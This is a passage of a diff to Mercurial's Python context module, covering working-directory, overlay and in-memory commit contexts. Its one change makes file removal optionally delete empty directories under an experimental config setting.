             # considered when solving linkrev issue are on the table.
             return changectx(self._repo.unfiltered(), self._changeid)
 
     def filectx(self, fileid, changeid=None):
         '''opens an arbitrary revision of the file without
         opening a new filelog'''
         return filectx(self._repo, self._path, fileid=fileid,
                        filelog=self._filelog, changeid=changeid)
 
     def rawdata(self):
         return self._filelog.revision(self._filenode, raw=True)
 
     def rawflags(self):
         """low-level revlog flags"""
         return self._filelog.flags(self._filerev)
 
     def data(self):
         try:
             return self._filelog.read(self._filenode)
         except error.CensoredNodeError:
             if self._repo.ui.config("censor", "policy") == "ignore":
                 return ""
             raise error.Abort(_("censored node: %s") % short(self._filenode),
                              hint=_("set censor.policy to ignore errors"))
 
     def size(self):
         return self._filelog.size(self._filerev)
 
     @propertycache
     def _copied(self):
         """check if file was actually renamed in this changeset revision
 
         If rename logged in file revision, we report copy for changeset only
         if file revisions linkrev points back to the changeset in question
         or both changeset parents contain different file revisions.
         """
 
         renamed = self._filelog.renamed(self._filenode)
         if not renamed:
             return renamed
 
         if self.rev() == self.linkrev():
             return renamed
 
         name = self.path()
         fnode = self._filenode
         for p in self._changectx.parents():
             try:
                 if fnode == p.filenode(name):
                     return None
             except error.LookupError:
                 pass
         return renamed
 
     def children(self):
         # hard for renames
         c = self._filelog.children(self._filenode)
         return [filectx(self._repo, self._path, fileid=x,
                         filelog=self._filelog) for x in c]
 
 class committablectx(basectx):
     """A committablectx object provides common functionality for a context that
     wants the ability to commit, e.g. workingctx or memctx."""
     def __init__(self, repo, text="", user=None, date=None, extra=None,
                  changes=None):
         super(committablectx, self).__init__(repo)
         self._rev = None
         self._node = None
         self._text = text
         if date:
             self._date = dateutil.parsedate(date)
         if user:
             self._user = user
         if changes:
             self._status = changes
 
         self._extra = {}
         if extra:
             self._extra = extra.copy()
         if 'branch' not in self._extra:
             try:
                 branch = encoding.fromlocal(self._repo.dirstate.branch())
             except UnicodeDecodeError:
                 raise error.Abort(_('branch name not in UTF-8!'))
             self._extra['branch'] = branch
         if self._extra['branch'] == '':
             self._extra['branch'] = 'default'
 
     def __bytes__(self):
         return bytes(self._parents[0]) + "+"
 
     __str__ = encoding.strmethod(__bytes__)
 
     def __nonzero__(self):
         return True
 
     __bool__ = __nonzero__
 
     def _buildflagfunc(self):
         # Create a fallback function for getting file flags when the
         # filesystem doesn't support them
 
         copiesget = self._repo.dirstate.copies().get
         parents = self.parents()
         if len(parents) < 2:
             # when we have one parent, it's easy: copy from parent
             man = parents[0].manifest()
             def func(f):
                 f = copiesget(f, f)
                 return man.flags(f)
         else:
             # merges are tricky: we try to reconstruct the unstored
             # result from the merge (issue1802)
             p1, p2 = parents
             pa = p1.ancestor(p2)
             m1, m2, ma = p1.manifest(), p2.manifest(), pa.manifest()
 
             def func(f):
                 f = copiesget(f, f) # may be wrong for merges with copies
                 fl1, fl2, fla = m1.flags(f), m2.flags(f), ma.flags(f)
                 if fl1 == fl2:
                     return fl1
                 if fl1 == fla:
                     return fl2
                 if fl2 == fla:
                     return fl1
                 return '' # punt for conflicts
 
         return func
 
     @propertycache
     def _flagfunc(self):
         return self._repo.dirstate.flagfunc(self._buildflagfunc)
 
     @propertycache
     def _status(self):
         return self._repo.status()
 
     @propertycache
     def _user(self):
         return self._repo.ui.username()
 
     @propertycache
     def _date(self):
         ui = self._repo.ui
         date = ui.configdate('devel', 'default-date')
         if date is None:
             date = dateutil.makedate()
         return date
 
     def subrev(self, subpath):
         return None
 
     def manifestnode(self):
         return None
     def user(self):
         return self._user or self._repo.ui.username()
     def date(self):
         return self._date
     def description(self):
         return self._text
     def files(self):
         return sorted(self._status.modified + self._status.added +
                       self._status.removed)
 
     def modified(self):
         return self._status.modified
     def added(self):
         return self._status.added
     def removed(self):
         return self._status.removed
     def deleted(self):
         return self._status.deleted
     def branch(self):
         return encoding.tolocal(self._extra['branch'])
     def closesbranch(self):
         return 'close' in self._extra
     def extra(self):
         return self._extra
 
     def isinmemory(self):
         return False
 
     def tags(self):
         return []
 
     def bookmarks(self):
         b = []
         for p in self.parents():
             b.extend(p.bookmarks())
         return b
 
     def phase(self):
         phase = phases.draft # default phase to draft
         for p in self.parents():
             phase = max(phase, p.phase())
         return phase
 
     def hidden(self):
         return False
 
     def children(self):
         return []
 
     def flags(self, path):
         if r'_manifest' in self.__dict__:
             try:
                 return self._manifest.flags(path)
             except KeyError:
                 return ''
 
         try:
             return self._flagfunc(path)
         except OSError:
             return ''
 
     def ancestor(self, c2):
         """return the "best" ancestor context of self and c2"""
         return self._parents[0].ancestor(c2) # punt on two parents for now
 
     def walk(self, match):
         '''Generates matching file names.'''
         return sorted(self._repo.dirstate.walk(match,
                                                subrepos=sorted(self.substate),
                                                unknown=True, ignored=False))
 
     def matches(self, match):
         ds = self._repo.dirstate
         return sorted(f for f in ds.matches(match) if ds[f] != 'r')
 
     def ancestors(self):
         for p in self._parents:
             yield p
         for a in self._repo.changelog.ancestors(
             [p.rev() for p in self._parents]):
             yield changectx(self._repo, a)
 
     def markcommitted(self, node):
         """Perform post-commit cleanup necessary after committing this ctx
 
         Specifically, this updates backing stores this working context
         wraps to reflect the fact that the changes reflected by this
         workingctx have been committed.  For example, it marks
         modified and added files as normal in the dirstate.
 
         """
 
         with self._repo.dirstate.parentchange():
             for f in self.modified() + self.added():
                 self._repo.dirstate.normal(f)
             for f in self.removed():
                 self._repo.dirstate.drop(f)
             self._repo.dirstate.setparents(node)
 
         # write changes out explicitly, because nesting wlock at
         # runtime may prevent 'wlock.release()' in 'repo.commit()'
         # from immediately doing so for subsequent changing files
         self._repo.dirstate.write(self._repo.currenttransaction())
 
     def dirty(self, missing=False, merge=True, branch=True):
         return False
 
 class workingctx(committablectx):
     """A workingctx object makes access to data related to
     the current working directory convenient.
     date - any valid date string or (unixtime, offset), or None.
     user - username string, or None.
     extra - a dictionary of extra values, or None.
     changes - a list of file lists as returned by localrepo.status()
                or None to use the repository status.
     """
     def __init__(self, repo, text="", user=None, date=None, extra=None,
                  changes=None):
         super(workingctx, self).__init__(repo, text, user, date, extra, changes)
 
     def __iter__(self):
         d = self._repo.dirstate
         for f in d:
             if d[f] != 'r':
                 yield f
 
     def __contains__(self, key):
         return self._repo.dirstate[key] not in "?r"
 
     def hex(self):
         return hex(wdirid)
 
     @propertycache
     def _parents(self):
         p = self._repo.dirstate.parents()
         if p[1] == nullid:
             p = p[:-1]
         return [changectx(self._repo, x) for x in p]
 
     def _fileinfo(self, path):
         # populate __dict__['_manifest'] as workingctx has no _manifestdelta
         self._manifest
         return super(workingctx, self)._fileinfo(path)
 
     def filectx(self, path, filelog=None):
         """get a file context from the working directory"""
         return workingfilectx(self._repo, path, workingctx=self,
                               filelog=filelog)
 
     def dirty(self, missing=False, merge=True, branch=True):
         "check whether a working directory is modified"
         # check subrepos first
         for s in sorted(self.substate):
             if self.sub(s).dirty(missing=missing):
                 return True
         # check current working dir
         return ((merge and self.p2()) or
                 (branch and self.branch() != self.p1().branch()) or
                 self.modified() or self.added() or self.removed() or
                 (missing and self.deleted()))
 
     def add(self, list, prefix=""):
         with self._repo.wlock():
             ui, ds = self._repo.ui, self._repo.dirstate
             uipath = lambda f: ds.pathto(pathutil.join(prefix, f))
             rejected = []
             lstat = self._repo.wvfs.lstat
             for f in list:
                 # ds.pathto() returns an absolute file when this is invoked from
                 # the keyword extension.  That gets flagged as non-portable on
                 # Windows, since it contains the drive letter and colon.
                 scmutil.checkportable(ui, os.path.join(prefix, f))
                 try:
                     st = lstat(f)
                 except OSError:
                     ui.warn(_("%s does not exist!\n") % uipath(f))
                     rejected.append(f)
                     continue
                 if st.st_size > 10000000:
                     ui.warn(_("%s: up to %d MB of RAM may be required "
                               "to manage this file\n"
                               "(use 'hg revert %s' to cancel the "
                               "pending addition)\n")
                             % (f, 3 * st.st_size // 1000000, uipath(f)))
                 if not (stat.S_ISREG(st.st_mode) or stat.S_ISLNK(st.st_mode)):
                     ui.warn(_("%s not added: only files and symlinks "
                               "supported currently\n") % uipath(f))
                     rejected.append(f)
                 elif ds[f] in 'amn':
                     ui.warn(_("%s already tracked!\n") % uipath(f))
                 elif ds[f] == 'r':
                     ds.normallookup(f)
                 else:
                     ds.add(f)
             return rejected
 
     def forget(self, files, prefix=""):
         with self._repo.wlock():
             ds = self._repo.dirstate
             uipath = lambda f: ds.pathto(pathutil.join(prefix, f))
             rejected = []
             for f in files:
                 if f not in self._repo.dirstate:
                     self._repo.ui.warn(_("%s not tracked!\n") % uipath(f))
                     rejected.append(f)
                 elif self._repo.dirstate[f] != 'a':
                     self._repo.dirstate.remove(f)
                 else:
                     self._repo.dirstate.drop(f)
             return rejected
 
     def undelete(self, list):
         pctxs = self.parents()
         with self._repo.wlock():
             ds = self._repo.dirstate
             for f in list:
                 if self._repo.dirstate[f] != 'r':
                     self._repo.ui.warn(_("%s not removed!\n") % ds.pathto(f))
                 else:
                     fctx = f in pctxs[0] and pctxs[0][f] or pctxs[1][f]
                     t = fctx.data()
                     self._repo.wwrite(f, t, fctx.flags())
                     self._repo.dirstate.normal(f)
 
     def copy(self, source, dest):
         try:
             st = self._repo.wvfs.lstat(dest)
         except OSError as err:
             if err.errno != errno.ENOENT:
                 raise
             self._repo.ui.warn(_("%s does not exist!\n")
                                % self._repo.dirstate.pathto(dest))
             return
         if not (stat.S_ISREG(st.st_mode) or stat.S_ISLNK(st.st_mode)):
             self._repo.ui.warn(_("copy failed: %s is not a file or a "
                                  "symbolic link\n")
                                % self._repo.dirstate.pathto(dest))
         else:
             with self._repo.wlock():
                 if self._repo.dirstate[dest] in '?':
                     self._repo.dirstate.add(dest)
                 elif self._repo.dirstate[dest] in 'r':
                     self._repo.dirstate.normallookup(dest)
                 self._repo.dirstate.copy(source, dest)
 
     def match(self, pats=None, include=None, exclude=None, default='glob',
               listsubrepos=False, badfn=None):
         r = self._repo
 
         # Only a case insensitive filesystem needs magic to translate user input
         # to actual case in the filesystem.
         icasefs = not util.fscasesensitive(r.root)
         return matchmod.match(r.root, r.getcwd(), pats, include, exclude,
                               default, auditor=r.auditor, ctx=self,
                               listsubrepos=listsubrepos, badfn=badfn,
                               icasefs=icasefs)
 
     def _filtersuspectsymlink(self, files):
         if not files or self._repo.dirstate._checklink:
             return files
 
         # Symlink placeholders may get non-symlink-like contents
         # via user error or dereferencing by NFS or Samba servers,
         # so we filter out any placeholders that don't look like a
         # symlink
         sane = []
         for f in files:
             if self.flags(f) == 'l':
                 d = self[f].data()
                 if (d == '' or len(d) >= 1024 or '\n' in d
                     or stringutil.binary(d)):
                     self._repo.ui.debug('ignoring suspect symlink placeholder'
                                         ' "%s"\n' % f)
                     continue
             sane.append(f)
         return sane
 
     def _checklookup(self, files):
         # check for any possibly clean files
         if not files:
             return [], [], []
 
         modified = []
         deleted = []
         fixup = []
         pctx = self._parents[0]
         # do a full compare of any files that might have changed
         for f in sorted(files):
             try:
                 # This will return True for a file that got replaced by a
                 # directory in the interim, but fixing that is pretty hard.
                 if (f not in pctx or self.flags(f) != pctx.flags(f)
                     or pctx[f].cmp(self[f])):
                     modified.append(f)
                 else:
                     fixup.append(f)
             except (IOError, OSError):
                 # A file become inaccessible in between? Mark it as deleted,
                 # matching dirstate behavior (issue5584).
                 # The dirstate has more complex behavior around whether a
                 # missing file matches a directory, etc, but we don't need to
                 # bother with that: if f has made it to this point, we're sure
                 # it's in the dirstate.
                 deleted.append(f)
 
         return modified, deleted, fixup
 
     def _poststatusfixup(self, status, fixup):
         """update dirstate for files that are actually clean"""
         poststatus = self._repo.postdsstatus()
         if fixup or poststatus:
             try:
                 oldid = self._repo.dirstate.identity()
 
                 # updating the dirstate is optional
                 # so we don't wait on the lock
                 # wlock can invalidate the dirstate, so cache normal _after_
                 # taking the lock
                 with self._repo.wlock(False):
                     if self._repo.dirstate.identity() == oldid:
                         if fixup:
                             normal = self._repo.dirstate.normal
                             for f in fixup:
                                 normal(f)
                             # write changes out explicitly, because nesting
                             # wlock at runtime may prevent 'wlock.release()'
                             # after this block from doing so for subsequent
                             # changing files
                             tr = self._repo.currenttransaction()
                             self._repo.dirstate.write(tr)
 
                         if poststatus:
                             for ps in poststatus:
                                 ps(self, status)
                     else:
                         # in this case, writing changes out breaks
                         # consistency, because .hg/dirstate was
                         # already changed simultaneously after last
                         # caching (see also issue5584 for detail)
                         self._repo.ui.debug('skip updating dirstate: '
                                             'identity mismatch\n')
             except error.LockError:
                 pass
             finally:
                 # Even if the wlock couldn't be grabbed, clear out the list.
                 self._repo.clearpostdsstatus()
 
     def _dirstatestatus(self, match, ignored=False, clean=False, unknown=False):
         '''Gets the status from the dirstate -- internal use only.'''
         subrepos = []
         if '.hgsub' in self:
             subrepos = sorted(self.substate)
         cmp, s = self._repo.dirstate.status(match, subrepos, ignored=ignored,
                                             clean=clean, unknown=unknown)
 
         # check for any possibly clean files
         fixup = []
         if cmp:
             modified2, deleted2, fixup = self._checklookup(cmp)
             s.modified.extend(modified2)
             s.deleted.extend(deleted2)
 
             if fixup and clean:
                 s.clean.extend(fixup)
 
         self._poststatusfixup(s, fixup)
 
         if match.always():
             # cache for performance
             if s.unknown or s.ignored or s.clean:
                 # "_status" is cached with list*=False in the normal route
                 self._status = scmutil.status(s.modified, s.added, s.removed,
                                               s.deleted, [], [], [])
             else:
                 self._status = s
 
         return s
 
     @propertycache
     def _manifest(self):
         """generate a manifest corresponding to the values in self._status
 
         This reuse the file nodeid from parent, but we use special node
         identifiers for added and modified files. This is used by manifests
         merge to see that files are different and by update logic to avoid
         deleting newly added files.
         """
         return self._buildstatusmanifest(self._status)
 
     def _buildstatusmanifest(self, status):
         """Builds a manifest that includes the given status results."""
         parents = self.parents()
 
         man = parents[0].manifest().copy()
 
         ff = self._flagfunc
         for i, l in ((addednodeid, status.added),
                      (modifiednodeid, status.modified)):
             for f in l:
                 man[f] = i
                 try:
                     man.setflag(f, ff(f))
                 except OSError:
                     pass
 
         for f in status.deleted + status.removed:
             if f in man:
                 del man[f]
 
         return man
 
     def _buildstatus(self, other, s, match, listignored, listclean,
                      listunknown):
         """build a status with respect to another context
 
         This includes logic for maintaining the fast path of status when
         comparing the working directory against its parent, which is to skip
         building a new manifest if self (working directory) is not comparing
         against its parent (repo['.']).
         """
         s = self._dirstatestatus(match, listignored, listclean, listunknown)
         # Filter out symlinks that, in the case of FAT32 and NTFS filesystems,
         # might have accidentally ended up with the entire contents of the file
         # they are supposed to be linking to.
         s.modified[:] = self._filtersuspectsymlink(s.modified)
         if other != self._repo['.']:
             s = super(workingctx, self)._buildstatus(other, s, match,
                                                      listignored, listclean,
                                                      listunknown)
         return s
 
     def _matchstatus(self, other, match):
         """override the match method with a filter for directory patterns
 
         We use inheritance to customize the match.bad method only in cases of
         workingctx since it belongs only to the working directory when
         comparing against the parent changeset.
 
         If we aren't comparing against the working directory's parent, then we
         just use the default match object sent to us.
         """
         if other != self._repo['.']:
             def bad(f, msg):
                 # 'f' may be a directory pattern from 'match.files()',
                 # so 'f not in ctx1' is not enough
                 if f not in other and not other.hasdir(f):
                     self._repo.ui.warn('%s: %s\n' %
                                        (self._repo.dirstate.pathto(f), msg))
             match.bad = bad
         return match
 
     def markcommitted(self, node):
         super(workingctx, self).markcommitted(node)
 
         sparse.aftercommit(self._repo, node)
 
 class committablefilectx(basefilectx):
     """A committablefilectx provides common functionality for a file context
     that wants the ability to commit, e.g. workingfilectx or memfilectx."""
     def __init__(self, repo, path, filelog=None, ctx=None):
         self._repo = repo
         self._path = path
         self._changeid = None
         self._filerev = self._filenode = None
 
         if filelog is not None:
             self._filelog = filelog
         if ctx:
             self._changectx = ctx
 
     def __nonzero__(self):
         return True
 
     __bool__ = __nonzero__
 
     def linkrev(self):
         # linked to self._changectx no matter if file is modified or not
         return self.rev()
 
     def parents(self):
         '''return parent filectxs, following copies if necessary'''
         def filenode(ctx, path):
             return ctx._manifest.get(path, nullid)
 
         path = self._path
         fl = self._filelog
         pcl = self._changectx._parents
         renamed = self.renamed()
 
         if renamed:
             pl = [renamed + (None,)]
         else:
             pl = [(path, filenode(pcl[0], path), fl)]
 
         for pc in pcl[1:]:
             pl.append((path, filenode(pc, path), fl))
 
         return [self._parentfilectx(p, fileid=n, filelog=l)
                 for p, n, l in pl if n != nullid]
 
     def children(self):
         return []
 
 class workingfilectx(committablefilectx):
     """A workingfilectx object makes access to data related to a particular
        file in the working directory convenient."""
     def __init__(self, repo, path, filelog=None, workingctx=None):
         super(workingfilectx, self).__init__(repo, path, filelog, workingctx)
 
     @propertycache
     def _changectx(self):
         return workingctx(self._repo)
 
     def data(self):
         return self._repo.wread(self._path)
     def renamed(self):
         rp = self._repo.dirstate.copied(self._path)
         if not rp:
             return None
         return rp, self._changectx._parents[0]._manifest.get(rp, nullid)
 
     def size(self):
         return self._repo.wvfs.lstat(self._path).st_size
     def date(self):
         t, tz = self._changectx.date()
         try:
             return (self._repo.wvfs.lstat(self._path)[stat.ST_MTIME], tz)
         except OSError as err:
             if err.errno != errno.ENOENT:
                 raise
             return (t, tz)
 
     def exists(self):
         return self._repo.wvfs.exists(self._path)
 
     def lexists(self):
         return self._repo.wvfs.lexists(self._path)
 
     def audit(self):
         return self._repo.wvfs.audit(self._path)
 
     def cmp(self, fctx):
         """compare with other file context
 
         returns True if different than fctx.
         """
         # fctx should be a filectx (not a workingfilectx)
         # invert comparison to reuse the same code path
         return fctx.cmp(self)
 
     def remove(self, ignoremissing=False):
         """wraps unlink for a repo's working directory"""
-        self._repo.wvfs.unlinkpath(self._path, ignoremissing=ignoremissing)
+        rmdir = self._repo.ui.configbool('experimental', 'removeemptydirs')
+        self._repo.wvfs.unlinkpath(self._path, ignoremissing=ignoremissing,
+                                   rmdir=rmdir)
 
     def write(self, data, flags, backgroundclose=False, **kwargs):
         """wraps repo.wwrite"""
         self._repo.wwrite(self._path, data, flags,
                           backgroundclose=backgroundclose,
                           **kwargs)
 
     def markcopied(self, src):
         """marks this file a copy of `src`"""
         if self._repo.dirstate[self._path] in "nma":
             self._repo.dirstate.copy(src, self._path)
 
     def clearunknown(self):
         """Removes conflicting items in the working directory so that
         ``write()`` can be called successfully.
         """
         wvfs = self._repo.wvfs
         f = self._path
         wvfs.audit(f)
         if wvfs.isdir(f) and not wvfs.islink(f):
             wvfs.rmtree(f, forcibly=True)
         if self._repo.ui.configbool('experimental', 'merge.checkpathconflicts'):
             for p in reversed(list(util.finddirs(f))):
                 if wvfs.isfileorlink(p):
                     wvfs.unlink(p)
                     break
 
     def setflags(self, l, x):
         self._repo.wvfs.setflags(self._path, l, x)
 
 class overlayworkingctx(committablectx):
     """Wraps another mutable context with a write-back cache that can be
     converted into a commit context.
 
     self._cache[path] maps to a dict with keys: {
         'exists': bool?
         'date': date?
         'data': str?
         'flags': str?
         'copied': str? (path or None)
     }
     If `exists` is True, `flags` must be non-None and 'date' is non-None. If it
     is `False`, the file was deleted.
     """
 
     def __init__(self, repo):
         super(overlayworkingctx, self).__init__(repo)
         self.clean()
 
     def setbase(self, wrappedctx):
         self._wrappedctx = wrappedctx
         self._parents = [wrappedctx]
         # Drop old manifest cache as it is now out of date.
         # This is necessary when, e.g., rebasing several nodes with one
         # ``overlayworkingctx`` (e.g. with --collapse).
         util.clearcachedproperty(self, '_manifest')
 
     def data(self, path):
         if self.isdirty(path):
             if self._cache[path]['exists']:
                 if self._cache[path]['data']:
                     return self._cache[path]['data']
                 else:
                     # Must fallback here, too, because we only set flags.
                     return self._wrappedctx[path].data()
             else:
                 raise error.ProgrammingError("No such file or directory: %s" %
                                              path)
         else:
             return self._wrappedctx[path].data()
 
     @propertycache
     def _manifest(self):
         parents = self.parents()
         man = parents[0].manifest().copy()
 
         flag = self._flagfunc
         for path in self.added():
             man[path] = addednodeid
             man.setflag(path, flag(path))
         for path in self.modified():
             man[path] = modifiednodeid
             man.setflag(path, flag(path))
         for path in self.removed():
             del man[path]
         return man
 
     @propertycache
     def _flagfunc(self):
         def f(path):
             return self._cache[path]['flags']
         return f
 
     def files(self):
         return sorted(self.added() + self.modified() + self.removed())
 
     def modified(self):
         return [f for f in self._cache.keys() if self._cache[f]['exists'] and
                 self._existsinparent(f)]
 
     def added(self):
         return [f for f in self._cache.keys() if self._cache[f]['exists'] and
                 not self._existsinparent(f)]
 
     def removed(self):
         return [f for f in self._cache.keys() if
                 not self._cache[f]['exists'] and self._existsinparent(f)]
 
     def isinmemory(self):
         return True
 
     def filedate(self, path):
         if self.isdirty(path):
             return self._cache[path]['date']
         else:
             return self._wrappedctx[path].date()
 
     def markcopied(self, path, origin):
         if self.isdirty(path):
             self._cache[path]['copied'] = origin
         else:
             raise error.ProgrammingError('markcopied() called on clean context')
 
     def copydata(self, path):
         if self.isdirty(path):
             return self._cache[path]['copied']
         else:
             raise error.ProgrammingError('copydata() called on clean context')
 
     def flags(self, path):
         if self.isdirty(path):
             if self._cache[path]['exists']:
                 return self._cache[path]['flags']
             else:
                 raise error.ProgrammingError("No such file or directory: %s" %
                                              self._path)
         else:
             return self._wrappedctx[path].flags()
 
     def _existsinparent(self, path):
         try:
             # ``commitctx` raises a ``ManifestLookupError`` if a path does not
             # exist, unlike ``workingctx``, which returns a ``workingfilectx``
             # with an ``exists()`` function.
             self._wrappedctx[path]
             return True
         except error.ManifestLookupError:
             return False
 
     def _auditconflicts(self, path):
         """Replicates conflict checks done by wvfs.write().
 
         Since we never write to the filesystem and never call `applyupdates` in
         IMM, we'll never check that a path is actually writable -- e.g., because
         it adds `a/foo`, but `a` is actually a file in the other commit.
         """
         def fail(path, component):
             # p1() is the base and we're receiving "writes" for p2()'s
             # files.
             if 'l' in self.p1()[component].flags():
                 raise error.Abort("error: %s conflicts with symlink %s "
                                   "in %s." % (path, component,
                                               self.p1().rev()))
             else:
                 raise error.Abort("error: '%s' conflicts with file '%s' in "
                                   "%s." % (path, component,
                                            self.p1().rev()))
 
         # Test that each new directory to be created to write this path from p2
         # is not a file in p1.
         components = path.split('/')
         for i in xrange(len(components)):
             component = "/".join(components[0:i])
             if component in self.p1():
                 fail(path, component)
 
         # Test the other direction -- that this path from p2 isn't a directory
         # in p1 (test that p1 doesn't any paths matching `path/*`).
         match = matchmod.match('/', '', [path + '/'], default=b'relpath')
         matches = self.p1().manifest().matches(match)
         if len(matches) > 0:
             if len(matches) == 1 and matches.keys()[0] == path:
                 return
             raise error.Abort("error: file '%s' cannot be written because "
                               " '%s/' is a folder in %s (containing %d "
                               "entries: %s)"
                               % (path, path, self.p1(), len(matches),
                                  ', '.join(matches.keys())))
 
     def write(self, path, data, flags='', **kwargs):
         if data is None:
             raise error.ProgrammingError("data must be non-None")
         self._auditconflicts(path)
         self._markdirty(path, exists=True, data=data, date=dateutil.makedate(),
                         flags=flags)
 
     def setflags(self, path, l, x):
         self._markdirty(path, exists=True, date=dateutil.makedate(),
                         flags=(l and 'l' or '') + (x and 'x' or ''))
 
     def remove(self, path):
         self._markdirty(path, exists=False)
 
     def exists(self, path):
         """exists behaves like `lexists`, but needs to follow symlinks and
         return False if they are broken.
         """
         if self.isdirty(path):
             # If this path exists and is a symlink, "follow" it by calling
             # exists on the destination path.
             if (self._cache[path]['exists'] and
                         'l' in self._cache[path]['flags']):
                 return self.exists(self._cache[path]['data'].strip())
             else:
                 return self._cache[path]['exists']
 
         return self._existsinparent(path)
 
     def lexists(self, path):
         """lexists returns True if the path exists"""
         if self.isdirty(path):
             return self._cache[path]['exists']
 
         return self._existsinparent(path)
 
     def size(self, path):
         if self.isdirty(path):
             if self._cache[path]['exists']:
                 return len(self._cache[path]['data'])
             else:
                 raise error.ProgrammingError("No such file or directory: %s" %
                                              self._path)
         return self._wrappedctx[path].size()
 
     def tomemctx(self, text, branch=None, extra=None, date=None, parents=None,
                  user=None, editor=None):
         """Converts this ``overlayworkingctx`` into a ``memctx`` ready to be
         committed.
 
         ``text`` is the commit message.
         ``parents`` (optional) are rev numbers.
         """
         # Default parents to the wrapped contexts' if not passed.
         if parents is None:
             parents = self._wrappedctx.parents()
             if len(parents) == 1:
                 parents = (parents[0], None)
 
         # ``parents`` is passed as rev numbers; convert to ``commitctxs``.
         if parents[1] is None:
             parents = (self._repo[parents[0]], None)
         else:
             parents = (self._repo[parents[0]], self._repo[parents[1]])
 
         files = self._cache.keys()
         def getfile(repo, memctx, path):
             if self._cache[path]['exists']:
                 return memfilectx(repo, memctx, path,
                                   self._cache[path]['data'],
                                   'l' in self._cache[path]['flags'],
                                   'x' in self._cache[path]['flags'],
                                   self._cache[path]['copied'])
             else:
                 # Returning None, but including the path in `files`, is
                 # necessary for memctx to register a deletion.
                 return None
         return memctx(self._repo, parents, text, files, getfile, date=date,
                       extra=extra, user=user, branch=branch, editor=editor)
 
     def isdirty(self, path):
         return path in self._cache
 
     def isempty(self):
         # We need to discard any keys that are actually clean before the empty
         # commit check.
         self._compact()
         return len(self._cache) == 0
 
     def clean(self):
         self._cache = {}
 
     def _compact(self):
         """Removes keys from the cache that are actually clean, by comparing
         them with the underlying context.
 
         This can occur during the merge process, e.g. by passing --tool :local
         to resolve a conflict.
         """
         keys = []
         for path in self._cache.keys():
             cache = self._cache[path]
             try:
                 underlying = self._wrappedctx[path]
                 if (underlying.data() == cache['data'] and
                             underlying.flags() == cache['flags']):
                     keys.append(path)
             except error.ManifestLookupError:
                 # Path not in the underlying manifest (created).
                 continue
 
         for path in keys:
             del self._cache[path]
         return keys
 
     def _markdirty(self, path, exists, data=None, date=None, flags=''):
         self._cache[path] = {
             'exists': exists,
             'data': data,
             'date': date,
             'flags': flags,
             'copied': None,
         }
 
     def filectx(self, path, filelog=None):
         return overlayworkingfilectx(self._repo, path, parent=self,
                                      filelog=filelog)
 
 class overlayworkingfilectx(committablefilectx):
     """Wrap a ``workingfilectx`` but intercepts all writes into an in-memory
     cache, which can be flushed through later by calling ``flush()``."""
 
     def __init__(self, repo, path, filelog=None, parent=None):
         super(overlayworkingfilectx, self).__init__(repo, path, filelog,
                                                     parent)
         self._repo = repo
         self._parent = parent
         self._path = path
 
     def cmp(self, fctx):
         return self.data() != fctx.data()
 
     def changectx(self):
         return self._parent
 
     def data(self):
         return self._parent.data(self._path)
 
     def date(self):
         return self._parent.filedate(self._path)
 
     def exists(self):
         return self.lexists()
 
     def lexists(self):
         return self._parent.exists(self._path)
 
     def renamed(self):
         path = self._parent.copydata(self._path)
         if not path:
             return None
         return path, self._changectx._parents[0]._manifest.get(path, nullid)
 
     def size(self):
         return self._parent.size(self._path)
 
     def markcopied(self, origin):
         self._parent.markcopied(self._path, origin)
 
     def audit(self):
         pass
 
     def flags(self):
         return self._parent.flags(self._path)
 
     def setflags(self, islink, isexec):
         return self._parent.setflags(self._path, islink, isexec)
 
     def write(self, data, flags, backgroundclose=False, **kwargs):
         return self._parent.write(self._path, data, flags, **kwargs)
 
     def remove(self, ignoremissing=False):
         return self._parent.remove(self._path)
 
     def clearunknown(self):
         pass
 
 class workingcommitctx(workingctx):
     """A workingcommitctx object makes access to data related to
     the revision being committed convenient.
 
     This hides changes in the working directory, if they aren't
     committed in this context.
     """
     def __init__(self, repo, changes,
                  text="", user=None, date=None, extra=None):
         super(workingctx, self).__init__(repo, text, user, date, extra,
                                          changes)
 
     def _dirstatestatus(self, match, ignored=False, clean=False, unknown=False):
         """Return matched files only in ``self._status``
 
         Uncommitted files appear "clean" via this context, even if
         they aren't actually so in the working directory.
         """
         if clean:
             clean = [f for f in self._manifest if f not in self._changedset]
         else:
             clean = []
         return scmutil.status([f for f in self._status.modified if match(f)],
                               [f for f in self._status.added if match(f)],
                               [f for f in self._status.removed if match(f)],
                               [], [], [], clean)
 
     @propertycache
     def _changedset(self):
         """Return the set of files changed in this context
         """
         changed = set(self._status.modified)
         changed.update(self._status.added)
         changed.update(self._status.removed)
         return changed
 
 def makecachingfilectxfn(func):
     """Create a filectxfn that caches based on the path.
 
     We can't use util.cachefunc because it uses all arguments as the cache
     key and this creates a cycle since the arguments include the repo and
     memctx.
     """
     cache = {}
 
     def getfilectx(repo, memctx, path):
         if path not in cache:
             cache[path] = func(repo, memctx, path)
         return cache[path]
 
     return getfilectx
 
 def memfilefromctx(ctx):
     """Given a context return a memfilectx for ctx[path]
 
     This is a convenience method for building a memctx based on another
     context.
     """
     def getfilectx(repo, memctx, path):
         fctx = ctx[path]
         # this is weird but apparently we only keep track of one parent
         # (why not only store that instead of a tuple?)
         copied = fctx.renamed()
         if copied:
             copied = copied[0]
         return memfilectx(repo, memctx, path, fctx.data(),
                           islink=fctx.islink(), isexec=fctx.isexec(),
                           copied=copied)
 
     return getfilectx
 
 def memfilefrompatch(patchstore):
     """Given a patch (e.g. patchstore object) return a memfilectx
 
     This is a convenience method for building a memctx based on a patchstore.
     """
     def getfilectx(repo, memctx, path):
         data, mode, copied = patchstore.getfile(path)
         if data is None:
             return None
         islink, isexec = mode
         return memfilectx(repo, memctx, path, data, islink=islink,
                           isexec=isexec, copied=copied)
 
     return getfilectx
 
 class memctx(committablectx):
     """Use memctx to perform in-memory commits via localrepo.commitctx().
 
     Revision information is supplied at initialization time while
     related files data and is made available through a callback
     mechanism.  'repo' is the current localrepo, 'parents' is a
     sequence of two parent revisions identifiers (pass None for every
     missing parent), 'text' is the commit message and 'files' lists
     names of files touched by the revision (normalized and relative to
     repository root).
 
     filectxfn(repo, memctx, path) is a callable receiving the
     repository, the current memctx object and the normalized path of
     requested file, relative to repository root. It is fired by the
     commit function for every file in 'files', but calls order is
     undefined. If the file is available in the revision being
     committed (updated or added), filectxfn returns a memfilectx
     object. If the file was removed, filectxfn return None for recent
     Mercurial. Moved files are represented by marking the source file
     removed and the new file added with copy information (see
     memfilectx).
 
     user receives the committer name and defaults to current
     repository username, date is the commit date in any format
     supported by dateutil.parsedate() and defaults to current date, extra
     is a dictionary of metadata or is left empty.
     """
 
